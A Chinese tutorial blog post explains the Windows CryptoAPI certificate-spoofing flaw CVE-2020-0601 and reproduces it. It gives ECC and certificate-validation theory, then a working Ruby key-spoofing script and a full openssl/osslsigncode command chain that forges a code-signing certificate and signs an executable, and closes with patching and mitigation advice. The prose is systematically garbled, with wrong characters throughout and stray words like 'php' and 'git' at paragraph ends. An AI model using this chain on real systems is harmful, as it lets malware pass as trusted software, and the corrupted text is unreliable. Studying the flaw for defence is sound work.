[网络安全自学篇] 四十六.微软证书漏洞CVE-2020-0601 (上)Windows验证机制及可执行文件签名复现

在分享本篇文章以前,先简单聊聊我学习网络安全和系统安全的感觉。半年来,做为网络安全的初学者,我写了近50篇安全的文章,从Web渗透到CTF,从二进制分析到恶意代码检测,从CVE漏洞还原到木马病毒及论文,但仍是以为本身很是菜,至今未进入安全圈。每当我要测试一个网站或复现一个漏洞时,都会身心俱疲,甚至想放弃,原本一个很小的问题,会牵扯出无数知识点,须要去一个个去学习、去攻克,包括密码算法、IP段和端口、安全工具、Python脚本、Powershell、openssl命令、外网内网、系统漏洞等等。php

哎,本身也写了十年的代码了,即便拿到很可贵数据挖掘的项目,都能一点点去克服最终实现。但安全确实不同,可能一个漏洞涉及的已是另外一个领域,固然本身接触得比较少。然而,每当复现出一个漏洞或拿下一个网站时,这幸福感也是其余程序没法替代的,巴不得让全世界都知道这是我作的。因此,给安全初学者一些建议,多实践、别气馁、多交流,多看安全网站和黑客大佬的文章、教程和视频,多关注CVE漏洞和新新闻。当你作不出来的时候,我这只菜鸟也在电脑的另外一头撞墙了。同时,网络空间安全真的很是重要,只有不断地真正实践和总结,才能成为一名优秀的白帽子,我会向着这个方向努力的,也会分享更多安全文章,但愿您喜欢!一块儿加油~html

在这里插入图片描述

言归正传,前文分享了简单的病毒原理知识,并经过批处理代码制做病毒,包括自动启、修改密码、定时关机、蓝屏、进程关闭等功能。这篇文章将分享微软证书漏洞CVE-2020-0601,并讲解ECC算法、Windows验证机制,复现可执行文件签名证书的例子。但愿这篇基础文章对您有所帮助,更但愿你们提升安全意识,学会相关防范,也欢迎你们讨论。python

做者做为网络安全的小白,分享一些自学基础教程给你们,主要是关于安全工具和实践操做的在线笔记,但愿您们喜欢。同时,也参考了不少大牛的文章和视频,详见参考文献,但愿您能与我一块儿操做和进步,后续将深刻学习网络安全和系统安全知识并分享相关实验。总之,但愿该系列文章对博友有所帮助,写文不易,大神们不喜勿喷,谢谢!若是文章对您有帮助,将是我创做的最大动力,点赞、评论、私聊都可,一块儿加油喔~git

PS:本文参考了安全网站和参考文献中的文章(详见参考文献),并结合本身的经验和实践进行撰写,也推荐你们阅读参考文献。github

下载地址:https://github.com/eastmountyxz/NetworkSecuritySelf-studyweb

前文学习:
[网络安全自学篇] 一.入门笔记之看雪Web安全学习及异或解密示例
[网络安全自学篇] 二.Chrome浏览器保留密码功能渗透解析及登陆加密入门笔记
[网络安全自学篇] 三.Burp Suite工具安装配置、Proxy基础用法及暴库示例
[网络安全自学篇] 四.实验吧CTF实战之WEB渗透和隐写术解密
[网络安全自学篇] 五.IDA Pro反汇编工具初识及逆向工程解密实战
[网络安全自学篇] 六.OllyDbg动态分析工具基础用法及Crakeme逆向
[网络安全自学篇] 七.快手视频下载之Chrome浏览器Network分析及Python爬虫探讨
[网络安全自学篇] 八.Web漏洞及端口扫描之Nmap、ThreatScan和DirBuster工具
[网络安全自学篇] 九.社会工程学之基础概念、IP获取、IP物理定位、文件属性
[网络安全自学篇] 十.论文之基于机器学习算法的主机恶意代码
[网络安全自学篇] 十一.虚拟机VMware+Kali安装入门及Sqlmap基本用法
[网络安全自学篇] 十二.Wireshark安装入门及抓取网站用户名密码(一)
[网络安全自学篇] 十三.Wireshark抓包原理(ARP劫持、MAC泛洪)及数据流追踪和图像抓取(二)
[网络安全自学篇] 十四.Python攻防之基础常识、正则表达式、Web编程和套接字通讯(一)
[网络安全自学篇] 十五.Python攻防之多线程、C段扫描和数据库编程(二)
[网络安全自学篇] 十六.Python攻防之弱口令、自定义字典生成及网站暴库防御
[网络安全自学篇] 十七.Python攻防之构建Web目录扫描器及ip代理池(四)
[网络安全自学篇] 十八.XSS跨站脚本攻击原理及代码攻防演示(一)
[网络安全自学篇] 十九.Powershell基础入门及常见用法(一)
[网络安全自学篇] 二十.Powershell基础入门及常见用法(二)
[网络安全自学篇] 二十一.GeekPwn极客大赛之安全攻防技术总结及ShowTime
[网络安全自学篇] 二十二.Web渗透之网站信息、域名信息、端口信息、敏感信息及指纹信息收集
[网络安全自学篇] 二十三.基于机器学习的恶意请求识别及安全领域中的机器学习
[网络安全自学篇] 二十四.基于机器学习的恶意代码识别及人工智能中的恶意代码检测
[网络安全自学篇] 二十五.Web安全学习路线及木马、病毒和防护初探
[网络安全自学篇] 二十六.Shodan搜索引擎详解及Python命令行调用
[网络安全自学篇] 二十七.Sqlmap基础用法、CTF实战及请求参数设置(一)
[网络安全自学篇] 二十八.文件上传漏洞和Caidao入门及防护原理(一)
[网络安全自学篇] 二十九.文件上传漏洞和IIS6.0解析漏洞及防护原理(二)
[网络安全自学篇] 三十.文件上传漏洞、编辑器漏洞和IIS高版本漏洞及防护(三)
[网络安全自学篇] 三十一.文件上传漏洞之Upload-labs靶场及CTF题目01-10(四)
[网络安全自学篇] 三十二.文件上传漏洞之Upload-labs靶场及CTF题目11-20(五)
[网络安全自学篇] 三十三.文件上传漏洞之绕狗一句话原理和绕过安全狗(六)
[网络安全自学篇] 三十四.Windows系统漏洞之5次Shift漏洞启动计算机
[网络安全自学篇] 三十五.恶意代码攻击溯源及恶意样本分析
[网络安全自学篇] 三十六.WinRAR漏洞复现(CVE-2018-20250)及恶意软件自启动劫持
[网络安全自学篇] 三十七.Web渗透提升班之hack the box在线靶场注册及入门知识
[网络安全自学篇] 三十八.hack the box渗透之BurpSuite和Hydra密码爆破及Python加密Post请求(二)
[网络安全自学篇] 三十九.hack the box渗透之DirBuster扫描路径及Sqlmap高级注入用法(三)
[网络安全自学篇] 四十.phpMyAdmin 4.8.1后台文件包含漏洞复现及详解(CVE-2018-12613)
[网络安全自学篇] 四十一.中间人攻击和ARP欺骗原理详解及漏洞还原
[网络安全自学篇] 四十二.DNS欺骗和钓鱼网站原理详解及漏洞还原
[网络安全自学篇] 四十三.木马原理详解、远程服务器IPC$漏洞及木马植入实验
[网络安全自学篇] 四十四.Windows远程桌面服务漏洞(CVE-2019-0708)复现及详解
[网络安全自学篇] 四十五.病毒详解及批处理病毒制做(自启动、修改密码、定时关机、蓝屏、进程关闭)正则表达式

前文欣赏:
[渗透&攻防] 一.从数据库原理学习网络攻防及防止SQL注入
[渗透&攻防] 二.SQL MAP工具从零解读数据库及基础用法
[渗透&攻防] 三.数据库之差别备份及Caidao利器
[渗透&攻防] 四.详解MySQL数据库攻防及Fiddler神器分析数据包算法

声明:本人坚定反对利用教学方法进行犯罪的行为,一切犯罪行为必将受到严惩,绿色网络须要咱们共同维护,更推荐你们了解它们背后的原理,更好地进行防御。shell


一.漏洞背景

1月15日,微软发布了针对CVE-2020-0601的安全补丁,该漏洞是微软在实现椭圆曲线加密(ECC)算法数字证书验证时产生,位于CryptoAPI.dll文件,可被利用于伪造来自可信任来源的签名或证书,而且因其业务特性会衍生出多种攻击向量,具备极高的可利用价值和极大的潜在破坏力,Win10和windows server 2016 & 2019也都在其影响范围内。数据库

在这里插入图片描述

有意思的是,在微软发布公告后,NSA也发布了关于CVE-2020-0601漏洞的预警通告。根据通告能够得知,这个漏洞是由NSA率先独立发现并汇报给微软的(微软在报告中对NSA致谢),也被认为是第一个NSA公开披露的软件系统漏洞,固然也有可能存在其特殊的战术目的。

在这里插入图片描述

该漏洞位于Windows CryptoAPI(Crypt32.dll)验证椭圆曲线加密算法证书的方式,可能影响信任的一些实例包括:

  • HTTPS链接
  • 文件签名
  • 电子邮件签名
  • 以用户模式启动的签名可执行程序

此外,该漏洞可让攻击者伪造代码签名证书对恶意可执行文件进行签名,使文件看似来自可信的来源。例如,可让勒索软件或其余间谍软件拥有看似有效的证书,从而促使用户安装。中间人攻击并解密用户链接到受影响软件的机密信息也是主要的攻击场景之一。

目前,支持使用带有指定参数的ECC密钥的证书的Microsoft Windows版本会受到影响,包括了Windows 十、Windows Server 2016/2019以及依赖于Windows CryptoAPI的应用程序。而Windows 10 以前的版本,如Windows 七、Windows Server 2008 R2 等均不受该漏洞的影响。由于win7没有默认添加微软的ECC根证书,crypt32.dll里面也没这个hash值,无法直接对比经过,故不受影响。



二.漏洞原理

该部分主要参考下面两篇文章,再次感谢,也强烈推荐你们阅读这两位老师的博客。花这么多篇幅介绍原理知识,一方面是完善本身的安全知识体系,另外一方面只有深刻了解原理才能更好地作防护。

[M01N] CVE-2020-0601 Windows CryptoAPI欺骗漏洞分析 - 绿盟科技老师
cve-2020-0601 漏洞原理浅述 - 阿鲁卡Alluka老师

1.ECC加密算法

CVE-2020-0601的根源是微软的加密库crypt32.dll中椭圆曲线加密算法的实现问题,首先咱们来了解一下椭圆加密算法的基本原理。

  • 基础知识
    ECC私钥+椭圆曲线=ECC公钥

  • 漏洞成因
    微软的私钥+微软选的椭圆曲线=微软根证书里面的公钥
    黑客的私钥+黑客选的椭圆曲线=微软根证书里面的公钥
    不一样的椭圆曲线和不一样的私钥,能产生如出一辙的公钥。win10默认添加了微软的ECC根证书,在作证书验证时,会一直验证到微软根证书中的公钥hash值,这个值直接写在了crypt32.dll里面,验证时没有对比是否是同一个椭圆曲线,只对比了公钥值,致使了黑客拿本身的私钥签名,就能假装成微软的签名。

  • ECC算法

要形象地理解椭圆曲线加密算法,能够结合图形来看,如下是一个符合椭圆曲线的方程及图像。

y 2 = x 3 + a x + b y^2 = x^3 + ax + b

在这里插入图片描述

椭圆曲线具备的一些独特的性质使它适合用于加密算法:

  • 椭圆曲线关于x轴对称
  • 任何一条非垂直的线与曲线最多有三个点相交
  • 曲线是光滑的,即曲线的全部点都没有两个或者两个以上的不一样的切线

在椭圆曲线上任意两点A、B(若A、B重合则做A的切线),做直线交于椭圆曲线另外一点C’,过C’作y轴的平行线与椭圆曲线交于C点,定义A+B=C。椭圆曲线的加法符合交换律和结合律。

在这里插入图片描述

若是A、B是同一个点,则过A做椭圆曲线的切线,以一样的方法获得对应的结果 C=2A 。

在这里插入图片描述

接下来是椭圆曲线加密相关的重点,若是对多个A进行累加,则可依次累加连线获得nA的值 。

  • (1) 起点为A,终点D=3A,阶为3 。
  • (2) 起点为A,终点G=4A,阶为4。

在这里插入图片描述

椭圆曲线加密算法的数学依据 :
考虑K=kG,其中K、G为椭圆曲线Ep(a,b)上的点,n为G的阶。k为小于n的整数。给定k和G,根据加法法则计算K很容易(逐次求解);但反过来,给定K和G,求k就很是困难。由于实际使用中的ECC原则上把私钥k取得至关大,n也至关大,且椭圆曲线再也不连续而是在实数内离散的值,要把n个解点逐一算出几乎是不可能的。

  • 点G称为基点
  • k(k<n)为私有密钥
  • K为公开密钥

在这里插入图片描述

ECC和RSA加密算法对比:
椭圆曲线加密算法(ECC)和RSA一样是一种公开密钥加密技术,对原始数据以公钥加密,以私钥解密,即使攻击者获取密文和公钥也没法(在合理的时间或代价下)解密获取明文。ECC常被应用于数字签名,以私钥加密生成签名,以公钥解密验证签名,若是和原文同样则签名验证成功。公开密钥加密之因此可靠是由于它们利用了公钥密码领域的单向函数原理,正向操做很是简单,而逆向操做很是困难。由G(基点)出发,进行k(私钥)次变换,很容易地获得终点K(公钥)的值。

在这里插入图片描述

已知起点G(基点)和终点K(公钥),要逆推获得移动次数k(私钥)则是一个很难的问题。相比传统RSA加密算法,椭圆加密算法具备着天生的优点,椭圆加密算法的逆向过程相比RSA有着更大的时间复杂度。在密钥长度相同的状况下,椭圆加密算法相比RSA具备更好的安全强度。 通常认为,160比特的椭圆曲线密钥便可提供与1024比特的RSA密钥至关的安全强度。

在这里插入图片描述

较短的密钥也意味着更少的存储空间、更快的加解密速度和更少的带宽消耗,正由于椭圆加密算法的这些优点,它被用于Windows的签名系统、https的证书、比特币系统和中国的二代身份证系统中。

虽然椭圆曲线加密算法具备着许多优点,纯算法角度攻破难度极大,微软对此算法的实现的缺漏却给漏洞利用提供了可乘之机。回到椭圆曲线加密最基本的等式 K=kG,首先须要明确的是,虽然对于给定的基点G和公钥K,要求解私钥k很困难,可是若是能够任意指定基点G,要构造一对k和G使等式成立却极其简单。最简单的状况,令基点G=K,则私钥k=1,这样一对基点和私钥可使等式成立,也是有效的解。

在这里插入图片描述

在正常的标准椭圆曲线算法中,基点G并非随意指定的,而是有固定的值(标准文件会对基点G等参数的选择作出规定),例如在secp256r1版本的椭圆曲线算法中,基点G应当为标准规定的固定值,若是对参数不加验证,使得用户能够自定义传入的基点G值(做为函数的参数),上面的私钥k=1的特殊解便可成立。

在有漏洞版本的crypt32.dll中验证使用ECC算法签名部分的函数偏偏是这个状况,原先的函数未加参数验证,参与计算的基点G的内容由被验证的证书随意指定,使未受权的证书可以构建私钥k=1的特殊解来成功经过椭圆加密算法的签名验证的过程。



2.Windows证书验证

以SSL协议为例,讲解Windows如何进行证书验证。好比,小明(m)在某电商(x)网站上购买了一本书,这时就调用了SSL协议进行通信,创建SSL协议的步骤总结为下图。

在这里插入图片描述

基本步骤包括:

  • 打招呼: 小明和电商互相介绍本身,小明和电商协商好之后的步骤里将使用到的特定密码算法。在本漏洞中,该算法为ECC加密算法。(该步骤没有利用密码工具)
  • 身份验证: 电商向小明验证本身的身份,电商发送包含本身的公钥的证书。该证书由权威的第三方证书机构(CA)颁发。小明使用CA的公开验证密钥,验证证书中对PK的签名。(漏洞触发地方)
  • 信息加密: 由小明生成一个随机的密钥MS,该密钥用于生成对双方传输的信息进行对称加密的K1与K2。MS由小明得到的公钥进行加密并交给电商。电商经过手中的私钥解密得到MS。这时双方都得到了用于进行加密通信的密钥。

注意:

  • 在SSL会话过程当中,只有电商一方被要求提供证书,小明可能根本没有公钥(或证书)。这和咱们平时去小卖部买东西同样,销售方须要提供销售许可, 而你只须要付钱就能够了。
  • 该漏洞的触发点在于 第三方权威机构(Windows) 在步骤②验证证书时产生的逻辑漏洞,使得攻击者能够经过伪造证书将自身假装成电商, 与小明 进行通信。从而达到骗财骗色骗信息的目的。
  • 经过及时更新微软补丁包能够有效防止上述状况的发生。

接着咱们分享微软验证证书的机制,以及其存在的逻辑漏洞。

  • 在Windows系统访问一个网站(例Github.com)时, 该网站会向Windows系统发送由第三方权威机构(CA)签署的网站证书。

在这里插入图片描述

  • Windows系统则会验证该证书是否由CA颁发,若验证经过,则Windows系统与网站成功创建TLS连接。

在这里插入图片描述

  • 为了方便下一次更快的访问,Windows将验证成功的证书放入内存中一块Certificate Cache(证书缓存)中。在下一次校验时,若是该证书存在于缓存中,则直接取缓存中的值进行校验。这里利用CVE-2020-0601。

在这里插入图片描述

  • 在成功缓存证书数据后,根据下面描述的Windows证书缓存机制,恶意网站能够伪造虚假的网站(例github.com)证书且经过Windows验证,将自身假装成合法网站。

在这里插入图片描述

  • 当 Windows 接收到新的证书时,Windows 将新接收的证书与已缓存证书的证书的公钥进行遍历对比,寻找匹配的值。

在这里插入图片描述

  • 伪造的恶意证书与Windows系统中的缓存证书有一样的公钥,但Curve项没有在校验范围内,因此能够经过构造自定义Curve来伪造证书。使得证书验证流程依然成立,但经过验证的证书已经不是以前成功验证的安全证书。

在这里插入图片描述

写到这里,若是您懵圈了,不要紧!我也哭晕了好几回,都发求救贴了,接着咱们看看实际操做吧~



三.可执行文件签名漏洞利用

1.证书查看

首先,我带领你们看看Windows证书。运行中输入“certmgr.msc”,能够看到这里面有5个系统默认的ECC签名的根证书,以下图所示。

在这里插入图片描述

咱们随意导出其中一个根证书,导出直接选择Base64编码那个就行。

在这里插入图片描述

能够看到导出的ECC密钥证书以下图所示,包括证书的有效期等信息。这就是微软在实现椭圆曲线加密(ECC)算法的数字证书,位于CryptoAPI.dll文件,也是被咱们利用来伪造可信任来源的签名漏洞。

在这里插入图片描述

一样,咱们能够经过Powershell(其用法推荐前文)查看默认的根证书。

dir cert:\localmachine\root | Where-Object { $_.FriendlyName -like "*ECC*" }

在这里插入图片描述



2.环境搭建

  • Linux系统、Windows系统WSL软件(Windows Subsystem for Linux)
  • Ruby环境、Python环境
  • Github资源:main.rb、openssl_cs.conf、签名证书
  • 可执行exe文件(用于签名

因为做者是Windows环境,但须要运行Linux命令,因此这里安装了Windows Subsystem for Linux软件。

第一步,打开应用商城搜索“WSL”,可根据本身需求选择安装一个或多个Linux系统。

在这里插入图片描述

第二步,安装完成后能够在开始菜单的最近添加中打开Ubuntu。第一次打开Ubuntu时,会提示你建立新的用户帐户和密码。这个用户帐户只是普通的非管理员用户,若是要提高权限,须要使用sudo命令。

在这里插入图片描述

下面能够测试该环境已经搭建成功,咱们能在Windows系统下运行Linux。

在这里插入图片描述

第三步,咱们复制文件进入。做者使用WSL,主要还由于它的另外一个优点,可以访问Windows系统的内容,灵活复制和切换文件。

  • (1) 能够在wsl终端输入如下命令 cd /mnt
  • (2) 能够在wsl终端输入如下命令 explorer.exe .
  • (3) 复制ca.cer文件

在这里插入图片描述

路径为:\wsl$\Ubuntu\home\yxz

在这里插入图片描述

第四步,使用openssl查看证书信息的内容,后面咱们会反复使用该命令。

openssl x509 -in ca.cer -text -noout

在这里插入图片描述

在计算机网络上,OpenSSL是一个开放源代码的软件库包,应用程序可使用这个包来进行安全通讯,避免窃听,同时确认另外一端链接者的身份。这个包普遍被应用在互联网的网页服务器上。



3.漏洞还原

接下来将详细讲解如何还原可执行文件签名证书假装漏洞。

第一步,安装Ruby环境并测试。

  • 安装环境:sudo apt install ruby
  • 查看版本:ruby -v
  • 建立文件:touch HelloWorld.ry
  • 编辑代码:vim HelloWorld.ry
  • 运行代码:ruby HelloWorld.ry

在这里插入图片描述

在这里插入图片描述


第二步,提取ECC根证书公钥信息。
将main.rb文件和导出的微软ECC签名证书文件复制或上传至Linux系统或WSL。注意,这里的ECC证书也可使用上面咱们导出的那个文件。

在这里插入图片描述

接着运行ruby代码。

ruby main.rb ./MicrosoftECCProductRootCertificateAuthority.cer

在这里插入图片描述

此时生成“spoofed_ca.key”公钥文件

在这里插入图片描述

main.rb代码以下,设置私钥为1,使得加密等式成立,并生成证书公钥文件。

require 'openssl'

raw = File.read ARGV[0] 	# 读取使用ECC算法的证书文件
ca = OpenSSL::X509::Certificate.new(raw) 	# 读取使用ECC算法的证书
ca_key = ca.public_key 	    # 从证书中提取公钥ca_key

ca_key.private_key = 1    	# 设置私钥为1,使得公钥K==1*基点G的等式成立
group = ca_key.group 
group.set_generator(ca_key.public_key, group.order, group.cofactor)
group.asn1_flag = OpenSSL::PKey::EC::EXPLICIT_CURVE
ca_key.group = group 		# 利用构建的假基点G和假密钥k设置新group
File.open("spoofed_ca.key", 'w') { |f| f.write ca_key.to_pem } 	# 将新的group写入文件

第三步,基于此密钥生成一个新的x509证书,这将是咱们本身的欺骗性CA。

openssl req -new -x509 -key spoofed_ca.key -out spoofed_ca.crt

在这里插入图片描述

注意,国家、地区、做者能够随意填写,此时生成“spoofed_ca.crt”公钥文件。

在这里插入图片描述


第四步,生成一个新密钥。该密钥能够是您想要的任何类型,它将用于建立代码签名证书,咱们将使用本身的CA对其进行签名。

openssl ecparam -name secp384r1 -genkey -noout -out cert.key

在这里插入图片描述
此时生成“cert.key”新密钥文件。


第五步,接下来建立一个新的证书签名请求(CSR)。该请求一般会发送到受信任的CA,可是因为存在欺骗请求,所以咱们能够本身对其进行签名。

openssl req -new -key cert.key -out cert.csr -config openssl_cs.conf -reqexts v3_cs

在这里插入图片描述

注意,须要复制openssl_cs.conf文件进去,此时生成“cert.csr”文件。

在这里插入图片描述

第六步,使用咱们的欺骗性CA和CA密钥签署新的CSR。该证书将在2047年到期,而真正的受信任Microsoft CA将在2043年到期。

openssl x509 -req -in cert.csr -CA spoofed_ca.crt -CAkey spoofed_ca.key -CAcreateserial -out cert.crt -days 10000 -extfile openssl_cs.conf -extensions v3_cs

在这里插入图片描述

生成“cert.crt”签名证书文件。

在这里插入图片描述


第七步,将证书的密钥和欺骗性的CA打包到一个PKCS12文件中,以对可执行文件进行签名。

openssl pkcs12 -export -in cert.crt -inkey cert.key -certfile spoofed_ca.crt -name "Code Signing" -out cert.p12

在这里插入图片描述

生成“cert.p12”名证书文件。

在这里插入图片描述


第八步,用PKCS12文件签名可执行文件。

osslsigncode sign -pkcs12 cert.p12 -n "Signed by ollypwn" -in python.exe -out python_signed.exe

注意,osslsigncode可能须要安装,以下所示。

在这里插入图片描述

用PKCS12文件签名可执行文件,最终生成“python_signed.exe”签名可执行文件。

在这里插入图片描述

在这里插入图片描述


第九步,文件右键”属性“打开,以下所示,多了”数字签名“且能看查看”详细信息”。

在这里插入图片描述

点击”查看证书”,能够看到具体信息,好比2047年到期,颁发者为咱们设置的“hacker”,以及设置的签名信息,而且证书是可靠地。该可执行文件的数字签名校验经过,而且成功欺骗了系统。

在这里插入图片描述

若是更新补丁知乎,可执行文件的数字签名会没法验证。

在这里插入图片描述



四.防护措施及总结

  • 缓解措施
    快速采用补丁是目前已知较好的缓解措施。尽管还没有出现公开的攻击方式和案例,但建议你们及时安装安全更新。更新后,当检测到有人试图利用CVE-2020-0601进行攻击时,系统将在每次从新启动Windows日志后在事件查看器中生成事件ID。

  • 安全建议
    除了安装修补程序以外,企业还能够采起其余措施保护端点,好比:
    (1) 从网络流量中提取证书,检查可疑的属性;
    (2) 经过执行TLS检查,不使用Windows进行证书验证的代理设备承载流量;
    (3) 在企业内部部署私有根证书颁发机构,而且在特定计算机/服务器位置控制第三方软件的部署和使用;
    (4) 符合条件的企业能够申请加入微软 Security Update Validation Program (SUVP) 或 Microsoft Active Protections Program (MAPP),从而提早从微软得到安全更新以进行相关的测试分析。

下一篇做者将尝试利用该漏洞复现HTTPS劫持案例,真的花费了不少精力,但愿您喜欢。

在这里插入图片描述

但愿这系列文章对您有所帮助,真的感受本身技术好菜,要学的知识好多。这是第46篇原创的安全系列文章,从网络安全到系统安全,从木马病毒到后门劫持,从恶意代码到溯源分析,从渗透工具到二进制工具,还有Python安全、顶会论文、黑客比赛和漏洞分享。未知攻焉知防,人生漫漫其路远兮,做为初学者,本身真是爬着前行,感谢不少人的帮助,继续爬着,继续加油!

欢迎你们讨论,是否以为这系列文章帮助到您!任何建议均可以评论告知读者,共勉。

武汉加油!湖北加油!中国加油!!!

(By:Eastmount 2020-02-16 晚上8点写于贵阳 http://blog.csdn.net/eastmount/ )



参考文献:
[1] https://github.com/ollypwn/CurveBall
[2] https://github.com/kudelskisecurity/chainoffools
[3] https://github.com/saleemrashid/badecparams
[4] 绿盟博客:http://blog.nsfocus.net/cve-2020-0601-windows-cryptoapi欺骗漏洞分析/
[5] FreeBuf博客:https://www.freebuf.com/vuls/225524.html
[6] 奇安信博客:https://www.freebuf.com/column/225457.html
[7] 奇安信博客:https://www.freebuf.com/vuls/225879.html
[8] Evi1cg’s博客:https://evi1cg.me/archives/cve_2020_0601.html
[9] CE653A博客:https://www.cnblogs.com/dgjnszf/p/12256824.html
[10] 阿鲁卡博客:http://www.noobyard.com/article/p-xfftzhcj-go.html
[11] https://www.bilibili.com/video/av84233595/?redirectFrom=h5
[12] samsho2博客:http://www.noobyard.com/article/p-sknjxcbg-de.html
[13] 安全客分析:https://www.anquanke.com/post/id/197520
[14] 本身的博客:https://blog.csdn.net/Eastmount

完整命令:

ruby main.rb ./MicrosoftECCProductRootCertificateAuthority.cer

openssl req -new -x509 -key spoofed_ca.key -out spoofed_ca.crt

openssl ecparam -name secp384r1 -genkey -noout -out cert.key

openssl req -new -key cert.key -out cert.csr -config openssl_cs.conf -reqexts v3_cs

openssl x509 -req -in cert.csr -CA spoofed_ca.crt -CAkey spoofed_ca.key -CAcreateserial -out cert.crt -days 10000 -extfile openssl_cs.conf -extensions v3_cs

openssl pkcs12 -export -in cert.crt -inkey cert.key -certfile spoofed_ca.crt -name "Code Signing" -out cert.p12

osslsigncode sign -pkcs12 cert.p12 -n "Signed by ollypwn" -in python.exe -out python_signed.exe